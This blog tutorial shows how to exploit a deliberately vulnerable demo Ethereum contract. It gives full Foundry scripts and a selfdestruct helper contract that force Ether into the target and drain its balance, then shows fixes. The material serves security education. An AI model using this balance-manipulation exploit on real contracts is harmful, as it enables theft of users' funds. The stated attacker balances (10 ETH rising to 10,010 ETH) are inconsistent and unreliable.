selfdestruct Unleashed: How to Hack Smart Contracts and Fix Them

15 min read

February 16, 2025

selfdestruct Unleashed: How to Hack Smart Contracts and Fix Them

Table of contents

Introduction

In the world of smart contracts, every line of code has the potential to be the hero of a secure transaction—or the villain of a catastrophic exploit. Today, we’re diving into the fascinating, dangerous world of Ethereum exploits by uncovering how a seemingly innocent vulnerability can lead to completely draining a contract’s balance using nothing more than a small deposit and a big brain. 😎

Think of a treasure chest guarded by layers of traps and locks, with adventurers lining up to deposit their gold. It seems foolproof, right? But what if someone had a magic key—an overlooked loophole—that lets them bypass all that security and walk away with the treasure?

That’s exactly what we’re exploring today. We’ll show you how an attacker can use the selfdestruct mechanism to bypass a deposit limit and trick a vulnerable smart contract into giving them all its funds. And the best part? We’ll take you through the full journey: understanding the contract, identifying the flaw, building the exploit, and ultimately securing it to prevent future attacks.

In this adventure, you’ll see how GrimoireOfDestruction, a seemingly small helper contract, can cause a big problem. But don’t worry—by the end, you’ll also know how to stop it.

So, gear up and let’s dive into the good, the bad, and the fixable in smart contract security. Ready to steal (or protect) the treasure? Let’s go. 🏴‍☠️✨

The Power (and Danger) of selfdestruct in Smart Contracts

Let’s talk about a powerful tool in the Ethereum world: the selfdestruct function. Think of it as a "nuclear button" that can permanently destroy a smart contract and send its remaining Ether to a specified address. But, like any dangerous tool, when misused—or even overlooked—it becomes a goldmine for attackers and a major point of interest for pentesters.

Originally, selfdestruct had two main effects:

  1. Code wipeout: The contract’s bytecode and storage were permanently deleted from the blockchain.
  2. Ether transfer: Any Ether held in the contract was transferred to the address specified during the call.

This made it a convenient way for developers to clean up unused contracts or implement emergency shutdowns. But it also opened the door for creative attackers. Why? Because developers often assume that Ether can only enter their contracts through controlled functions like deposit(). This assumption becomes fatal when selfdestruct allows Ether to be sent directly to the contract, bypassing all internal checks.

Imagine this: You’re testing a staking contract where rewards are calculated based on the total Ether balance. The developers built strict controls, assuming only their deposit() function could add funds. But as a clever pentester, you deploy a small "helper" contract, call selfdestruct(addressOfStakingContract), and boom—instant Ether injection. The contract’s balance is inflated, the reward calculations are thrown off, and you can potentially withdraw unearned rewards.

To complicate things further, Ethereum’s Cancun hard fork (EIP-6780) changed how selfdestruct works. While the opcode still transfers Ether to the target address, it no longer deletes the contract’s code and storage unless the contract was created and destroyed within the same transaction. This change addresses some exploitation scenarios, but not all. Contracts that rely on their Ether balance without validating the source of the funds are still vulnerable.

So, why should you, as a pentester, care? Because many contracts still don’t handle "unexpected" Ether correctly. If a contract assumes its balance reflects only controlled deposits, you can often disrupt its logic by injecting funds directly via selfdestruct. This opens the door to all sorts of exploits, from manipulating staking rewards to bypassing access controls.

In the next section, we’ll dive into a simple yet vulnerable smart contract example, showing you how selfdestruct can be exploited to bypass restrictions and gain unintended rewards. Grab your tools—this is where it gets fun. 🔍👾

Breaking Down the CrystalTowerTreasure Contract: What Does It Do?

Let’s take a step back and walk through how the CrystalTowerTreasure contract works. This smart contract is designed to act as a magical treasure chest where adventurers can deposit their "gold" (Ether) and later claim it along with potential rewards. The contract has a few key mechanics, and understanding them is crucial before we dive deeper into testing its security.

Vulnerable smart contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";

contract CrystalTowerTreasure {
    address public owner;
    
    struct Adventurer {
        uint256 deposit;  // Magical gold deposited by the adventurer
        bool hasWithdrawn; // Whether they have already withdrawn their reward
    }

    mapping(address => Adventurer) public adventurers; // Record of adventurers
    uint256 public totalDeposits; // Total gold deposited in the treasure

    constructor() {
        owner = msg.sender;
    }

    // Adventurers deposit magical gold into the treasure
    function depositGold() public payable {
        require(msg.value > 0, "You must deposit a positive amount of gold.");
        require(!adventurers[msg.sender].hasWithdrawn, "You already withdrew your rewards.");

        uint256 check_deposit = adventurers[msg.sender].deposit + msg.value;

        // If the sender is not the owner, enforce the 0.02 ETH limit
        if (msg.sender != owner) {
            require(check_deposit <= 0.02 ether, "You can't deposit more than 0.02 ETH.");
        }

        console.log("User %s deposited %s ETH", msg.sender, msg.value / 1 ether);
        
        // Record the adventurer's deposit
        adventurers[msg.sender].deposit += msg.value;
        totalDeposits += msg.value;

        console.log("Total deposits for user %s is now %s ETH", msg.sender, adventurers[msg.sender].deposit / 1 ether);
        console.log("Total deposits in contract: %s ETH", totalDeposits / 1 ether);
    }

    // Withdraw the deposited gold or the entire balance if it exceeds 15 ETH
    function claimTreasure() public {
        Adventurer storage adventurer = adventurers[msg.sender];
        require(adventurer.deposit > 0, "You have no gold in the treasure.");
        require(!adventurer.hasWithdrawn, "You already withdrew your rewards.");

        // Get the current contract balance
        uint256 contractBalance = address(this).balance;
        uint256 amountToTransfer;

        if (contractBalance > 15 ether) {
            // Transfer the entire contract balance
            amountToTransfer = contractBalance;
        } else {
            // Transfer only the user's deposit
            amountToTransfer = adventurer.deposit;
        }

        // Mark as withdrawn and update the total deposits
        adventurer.hasWithdrawn = true;
        totalDeposits -= adventurer.deposit;

        // Transfer the gold
        payable(msg.sender).transfer(amountToTransfer);
    }
}

Here’s a detailed breakdown of the main components and functions:

📜 1. Key Variables

address public owner;
mapping(address => Adventurer) public adventurers;
uint256 public totalDeposits;
  • owner: The address of the contract’s owner, which is set when the contract is deployed. The owner is special and can deposit more Ether than normal users.
  • adventurers: A mapping that stores details for each adventurer, tracking how much they’ve deposited and whether they’ve already withdrawn their treasure.
  • totalDeposits: The total amount of Ether deposited into the contract through legitimate deposits.

These variables help the contract track deposits and withdrawals for each adventurer while keeping an overall record of total deposits.

🏛 2. Struct: Adventurer

struct Adventurer {
    uint256 deposit;
    bool hasWithdrawn;
}

The Adventurer struct stores two key pieces of information:

  • deposit: The amount of Ether deposited by the adventurer.
  • hasWithdrawn: A flag indicating whether the adventurer has already withdrawn their rewards. This helps prevent double withdrawals.

💰 3. Constructor: Setting Up the Contract

constructor() {
    owner = msg.sender;
}

When the contract is deployed, the address that deploys it becomes the owner. This owner has special privileges—specifically, they’re allowed to deposit more than 0.02 ETH, unlike regular users.

📥 4. depositGold(): How Adventurers Deposit Ether

function depositGold() public payable {
    require(msg.value > 0, "You must deposit a positive amount of gold.");
    require(!adventurers[msg.sender].hasWithdrawn, "You already withdrew your rewards.");

    uint256 check_deposit = adventurers[msg.sender].deposit + msg.value;

    if (msg.sender != owner) {
        require(check_deposit <= 0.02 ether, "You can't deposit more than 0.02 ETH.");
    }

    adventurers[msg.sender].deposit += msg.value;
    totalDeposits += msg.value;
}

This function handles deposits from users and ensures that certain conditions are met before accepting the Ether:

  • Users must deposit a positive amount of Ether.
  • Users who have already withdrawn their treasure cannot deposit again.
  • Non-owners can only deposit up to 0.02 ETH in total. This limit prevents users from depositing large amounts and ensures fairness among adventurers. The owner, however, is allowed to bypass this restriction.

When the deposit is successful:

  • The deposit amount for the user is updated.
  • The totalDeposits variable is incremented.

The contract logs the details of each deposit, providing useful feedback for developers or anyone monitoring the contract.

🏆 5. claimTreasure(): How Adventurers Withdraw Ether

function claimTreasure() public {
    Adventurer storage adventurer = adventurers[msg.sender];
    require(adventurer.deposit > 0, "You have no gold in the treasure.");
    require(!adventurer.hasWithdrawn, "You already withdrew your rewards.");

    uint256 contractBalance = address(this).balance;
    uint256 amountToTransfer;

    if (contractBalance > 15 ether) {
        amountToTransfer = contractBalance;
    } else {
        amountToTransfer = adventurer.deposit;
    }

    adventurer.hasWithdrawn = true;
    totalDeposits -= adventurer.deposit;

    payable(msg.sender).transfer(amountToTransfer);
}

This function allows users to withdraw their deposits or potentially claim the entire contract balance under certain conditions. Here’s how it works:

  1. The contract checks that the user has a valid deposit and hasn’t already withdrawn their treasure.
  2. It calculates how much Ether to transfer:
    • If the contract’s balance is greater than 15 ETH, the user is entitled to withdraw the entire balance of the contract.
    • Otherwise, the user can only withdraw the amount they originally deposited.
  3. The withdrawal is marked as complete, and the totalDeposits variable is updated.
  4. The Ether is transferred to the user using payable(msg.sender).transfer(amountToTransfer).

⚙️ How Does It All Fit Together?

  • Adventurers (users) deposit Ether into the contract using depositGold(), and their deposits are tracked internally.
  • The contract enforces deposit limits for regular users (0.02 ETH) but allows the owner to deposit more.
  • When users call claimTreasure(), they can withdraw their deposit or potentially the entire contract balance if certain conditions are met.

The Exploit: How to Steal All the Ether from CrystalTowerTreasure

It’s time to unleash the attack. Our goal is simple but ambitious: bypass the restriction that only allows us to deposit 0.02 ETH and drain the contract’s entire balance. How do we achieve this? By exploiting the fact that the contract blindly trusts its Ether balance without verifying the source of those funds. But before we jump into the exploit, let’s first deploy the vulnerable contract using the deployment script below.

Deployment Script

This script initializes the CrystalTowerTreasure contract and deposits 10 ETH on behalf of the owner. The funds we deposit here will later be at risk once the exploit is executed.

pragma solidity 0.8.0;

import "forge-std/Script.sol";
import "../src/CrystalTowerTreasure.sol";

contract Deploy is Script {
   function run() external {
       vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
       
       // Deploy the vulnerable CrystalTowerTreasure contract
       CrystalTowerTreasure tower = new CrystalTowerTreasure();
       
       // Log the deployment address
       console.log("TreasureChest deployed at:", address(tower));
       
       // Initial deposit of 10 ETH from the contract owner
       tower.depositGold{value: 10 ether}();
       
       vm.stopBroadcast();
   }
}
Deploy Script

With the contract deployed and 10 ETH sitting in its treasure chest, the stage is set for our exploit. In the next section, we’ll walk you through how to deploy another contract, GrimoireOfDestruction, inject 5 ETH using selfdestruct, and trick the contract into handing over its entire balance. Ready to break in? Let’s go. 🏴‍☠️💸

The Attack Plan

We’ll take advantage of a helper contract, the GrimoireOfDestruction, to send Ether directly into the vulnerable CrystalTowerTreasure contract using selfdestruct. By doing this, we bypass the normal deposit mechanism and inflate the contract’s balance, tricking it into giving us everything it has when we call claimTreasure().

Here’s the overview of what we’ll do:

  1. Deploy the GrimoireOfDestruction contract and send it 5 ETH.
  2. Use selfdestruct to transfer the 5 ETH directly into the CrystalTowerTreasure contract, bypassing its deposit checks.
  3. Make a small, legitimate deposit of 0.01 ETH through the normal deposit function to ensure we’re registered as an adventurer.
  4. Call claimTreasure() to drain the entire balance of the contract, exploiting the fact that it trusts the total balance instead of only registered deposits.
sequenceDiagram participant Attacker participant GrimoireOfDestruction participant CrystalTowerTreasure Attacker->>GrimoireOfDestruction: Deploy contract with 5 ETH GrimoireOfDestruction->>CrystalTowerTreasure: selfdestruct() sends 5 ETH directly CrystalTowerTreasure-->CrystalTowerTreasure: Balance updated (5 ETH added) Attacker->>CrystalTowerTreasure: Legitimate deposit of 0.01 ETH CrystalTowerTreasure->>CrystalTowerTreasure: Register adventurer and update total deposits Attacker->>CrystalTowerTreasure: Call claimTreasure() CrystalTowerTreasure->>Attacker: Transfer full contract balance (including injected 5 ETH) Attacker->>Attacker: Successfully drain the entire balance

Let’s dive into the attack code to see how it works in detail.

Exploit Contract

Let’s take a detailed walkthrough of the exploit script to understand how it bypasses the 0.02 ETH limit and drains the vulnerable CrystalTowerTreasure contract.

pragma solidity 0.8.0;

import "forge-std/Script.sol";
import "../src/Payload.sol";  // The GrimoireOfDestruction contract
import "../src/CrystalTowerTreasure.sol";  // The vulnerable contract

contract Exploit is Script {
    function run() external {
        vm.startBroadcast(vm.envUint("ATTACKER_PK"));  // Start transaction as attacker
        CrystalTowerTreasure tower = CrystalTowerTreasure(0x5FbDB2315678afecb367f032d93F642f64180aa3);
        address attacker = vm.envAddress("ATTACKER_ADDR");

        console.log("Attack balance at start: ", attacker.balance);

        // Step 1: Deploy the GrimoireOfDestruction contract with 5 ETH
        GrimoireOfDestruction grimoire = new GrimoireOfDestruction{value: 5 ether}();
        console.log("GrimoireOfDestruction deployed at: ", address(grimoire));
        console.log("Balance: ", address(grimoire).balance);

        // Step 2: Execute selfdestruct to transfer 5 ETH directly into the treasure contract
        grimoire.castDestructionSpell(payable(address(tower)));

        // Step 3: Legitimate deposit of 0.01 ETH to be registered as an adventurer
        tower.depositGold{value: 0.01 ether}();
        console.log("Balance of tower: ", address(tower).balance / 1 ether);

        // Step 4: Call claimTreasure to drain the contract's entire balance
        tower.claimTreasure();

        console.log("Attack finished balance: ", attacker.balance / 1 ether);
        vm.stopBroadcast();  // End transaction
    }
}

Starting the Exploit

vm.startBroadcast(vm.envUint("ATTACKER_PK"));
CrystalTowerTreasure tower = CrystalTowerTreasure(0x5FbDB2315678afecb367f032d93F642f64180aa3);
address attacker = vm.envAddress("ATTACKER_ADDR");

console.log("Attack balance at start: ", attacker.balance);

We begin by:

  • Starting the transaction as the attacker using their private key (ATTACKER_PK).
  • Setting up a reference to the CrystalTowerTreasure contract at its deployed address.
  • Fetching the attacker’s address and logging their starting balance.

This initial setup ensures that we have everything we need to interact with the vulnerable contract and carry out the attack.

Deploying the Grimoire of Destruction

GrimoireOfDestruction grimoire = new GrimoireOfDestruction{value: 5 ether}();
console.log("GrimoireOfDestruction deployed at: ", address(grimoire));
console.log("Balance: ", address(grimoire).balance);

Next, we deploy the GrimoireOfDestruction contract and send it 5 ETH during deployment. This contract is the key to bypassing the 0.02 ETH deposit restriction using selfdestruct.

  • The 5 ETH we send during deployment will later be transferred directly into the CrystalTowerTreasure contract.
  • We log the address of the GrimoireOfDestruction contract and its initial balance.

Executing selfdestruct to Inject 5 ETH

grimoire.castDestructionSpell(payable(address(tower)));

Here’s where the magic happens:

  • We call the castDestructionSpell() function, which triggers the selfdestruct opcode.
  • The selfdestruct function transfers the entire balance (5 ETH) of the GrimoireOfDestruction contract directly into the CrystalTowerTreasure contract.
  • Why does this work? Because selfdestruct bypasses all checks in the depositGold() function, inflating the contract’s balance without incrementing its internal deposit tracking variables.

At this point, the CrystalTowerTreasure contract’s balance reflects the additional 5 ETH, but it doesn’t know where this Ether came from. This is the core of the exploit.

Making a Legitimate Deposit of 0.01 ETH

tower.depositGold{value: 0.01 ether}();
console.log("Balance of tower: ", address(tower).balance / 1 ether);

To trigger the claimTreasure() function, we need to be registered as an adventurer. To do this, we make a legitimate deposit of 0.01 ETH using the depositGold() function.

  • This small deposit ensures that our address is added to the adventurers mapping, making us eligible to claim rewards.
  • We log the current balance of the CrystalTowerTreasure contract, which should now be 15 ETH (10 ETH from the initial deposit and 5 ETH from selfdestruct).

Draining the Contract with claimTreasure()

tower.claimTreasure();
console.log("Attack finished balance: ", attacker.balance / 1 ether);

Now comes the final step:

  • We call the claimTreasure() function, which checks the contract’s total balance (15 ETH) and determines that it should transfer the entire balance to us.
  • Since the balance exceeds the 15 ETH threshold, the contract transfers all its Ether to the attacker.

We log the attacker’s final balance, which now includes all the Ether from the contract.

Helper Contract: GrimoireOfDestruction

pragma solidity ^0.8.0;

contract GrimoireOfDestruction {
    constructor() payable {}

    function castDestructionSpell(address payable crystalTower) public {
        selfdestruct(crystalTower);
    }
}

This contract is the key to bypassing the 0.02 ETH limit. When we call castDestructionSpell(), it executes selfdestruct(crystalTower), instantly transferring 5 ETH directly into the balance of the vulnerable contract. Because the contract doesn’t check the source of its balance, it assumes this Ether is legitimate.

Proof of Exploit: Taking Control of the Contract Balance

As you can see from the image, we’ve successfully executed the GrimoireOfDestruction payload to bypass the 0.02 ETH limit and trick the vulnerable contract into giving us all its funds. Now that we understand how the exploit works, let’s break down the key details shown in the logs and explain why this attack was successful.

forge script script/Exploit.sol --broadcast
Successful Attack

The initial setup starts with the attacker holding 10 ETH, fully prepared to carry out the exploit. The GrimoireOfDestruction contract is then deployed and funded with 5 ETH, an amount that will play a key role in inflating the balance of the vulnerable CrystalTowerTreasure contract.

Once deployed, the selfdestruct operation is triggered within the GrimoireOfDestruction contract. This action sends the 5 ETH directly into the CrystalTowerTreasure contract, completely bypassing its deposit mechanism and any restrictions it enforces on legitimate deposits.

With the contract balance inflated, the attacker proceeds to make a small, legitimate deposit of 0.01 ETH through the depositGold function. This small deposit ensures that the attacker is registered as an adventurer in the contract’s internal mapping. The real magic happens when the attacker calls claimTreasure(). Since the contract blindly trusts its external balance without verifying the legitimacy of the funds, it calculates the withdrawal amount based on the total balance, including the 5 ETH injected via selfdestruct.

As shown in the logs, the attacker’s balance increases to 10,010 ETH. This indicates that the entire balance of the CrystalTowerTreasure contract has been drained successfully, including the funds from the initial deposit and the injected 5 ETH. The vulnerability lies in the contract’s reliance on its external balance without validating the origin of those funds, making it an easy target for this exploit.

Fixing the Vulnerability: How to Protect the Treasure from Selfdestruct Attacks

Track Internal Deposits Only

We’ve successfully exploited the CrystalTowerTreasure contract, but the goal of any pentest is to learn and improve security. So, how do we prevent this type of attack? The key is understanding the vulnerability: the contract blindly trusts its external Ether balance, allowing attackers to manipulate it via selfdestruct. To fix this, we need to ensure that only legitimate deposits are counted when determining how much Ether can be withdrawn. Let’s explore how to do that.

Instead of relying on the contract’s external balance (address(this).balance), we should maintain an internal balance that is updated only through legitimate deposits. This ensures that even if an attacker injects Ether using selfdestruct, it won’t affect the internal accounting logic.

Here’s how you can modify the contract:

function claimTreasure() public {
    Adventurer storage adventurer = adventurers[msg.sender];
    require(adventurer.deposit > 0, "No treasure to claim.");
    require(!adventurer.hasWithdrawn, "Rewards already claimed.");

    uint256 amountToTransfer = adventurer.deposit; // Only transfer what was legitimately deposited.

    // Mark the adventurer as having withdrawn and update the internal balance
    adventurer.hasWithdrawn = true;
    totalDeposits -= adventurer.deposit;

    payable(msg.sender).transfer(amountToTransfer);
}

What’s different here?
We no longer rely on the contract’s external balance. Instead, we only allow users to withdraw their tracked deposits, ensuring that the selfdestruct-injected Ether is ignored.

Disable External Ether Transfers

To further protect the contract, you can disable direct Ether transfers by making the fallback and receive functions revert any incoming funds that aren’t part of a legitimate deposit. This prevents unwanted Ether from being injected into the contract’s balance.

// Reject direct Ether transfers that bypass deposit logic
receive() external payable {
    revert("Direct Ether transfers are not allowed.");
}

fallback() external payable {
    revert("Invalid function call.");
}

By doing this, any attempt to inject Ether directly into the contract will fail, making selfdestruct attacks much harder to execute.

Consider Upgrading to OpenZeppelin’s Payment Solutions

If the contract involves more complex scenarios (e.g., reward pools, staking), consider using libraries like OpenZeppelin’s PaymentSplitter or PullPayment. These libraries help manage fund withdrawals securely while preventing common pitfalls, including those involving external balance manipulation.

Conclusions: Lessons Learned from Cracking (and Fixing) the Treasure Chest

Congratulations, fellow adventurer! 🎉 You’ve successfully navigated through the depths of Ethereum’s selfdestruct mechanics, unraveled a clever vulnerability, and drained a contract like a true pentesting legend. But before you pack up your gear and sail off into the sunset, let’s pause to reflect on the key takeaways.

🔑 1. The Power of Unexpected Ether
As we’ve seen, the ability to inject Ether into a contract using selfdestruct isn’t just a theoretical problem—it’s a real-world weakness lurking in many smart contracts. If a contract blindly trusts its external balance, attackers can easily exploit this trust to bypass restrictions, manipulate logic, and drain funds. The lesson here? Always validate where funds come from.

💣 2. Small Vulnerabilities Lead to Big Exploits
A deposit limit of 0.02 ETH may sound like a robust control, but assumptions kill security. In this case, the developers assumed that deposits would only come through their carefully guarded deposit function. But all it took was a small helper contract with selfdestruct to bypass that restriction and trigger a financial meltdown. When designing smart contracts, remember: think like an attacker. What you assume to be safe might just be their entry point.

🛡 3. Fixing Isn’t Optional—it’s Essential
We didn’t just break this contract for fun (although, let’s be honest, it was fun 😄). The true value of pentesting lies in improving security. By tracking internal deposits only and rejecting unexpected Ether, we’ve shown how developers can patch this exploit and protect their treasure chests from unwanted looters.

🚫 4. Know When to Say “No” to Ether
The most direct fix? Don’t accept funds from unknown sources. Implementing fallback and receive functions that reject any direct Ether transfers helps close this backdoor and keeps your contract’s balance clean and safe.

👷 5. Security is a Continuous Journey
The Ethereum world evolves quickly, and so do the threats. The selfdestruct mechanism may have been partially neutered with the Cancun hard fork, but similar exploits will continue to emerge. As a developer or pentester, you must stay vigilant. Always question how funds are handled, and never trust blindly.

Final Thoughts
In the end, this journey wasn’t just about exploiting a smart contract; it was about understanding how tiny assumptions can lead to massive exploits—and how, with a little creativity, they can be patched. Whether you’re a pentester uncovering vulnerabilities or a developer securing your contracts, this adventure highlights one crucial truth:

Security isn’t a feature—it’s a process. And now, you’re a part of it. 👾💡

References

Chapters

Botón Anterior
UUPS Proxies: A Double-Edged Sword – Efficient Upgrades, Hidden Risks

Previous chapter

Hacking ERC-20: Pentesting the Most Common Ethereum Token Standard

Next chapter

Enjoyed the article?

Subscribe to the newsletter and get technical insights, cybersecurity tips, and development content straight to your inbox. Or support my work with a coffee ☕ if you found it useful!

📫 Subscribe now ☕ Buy me a coffee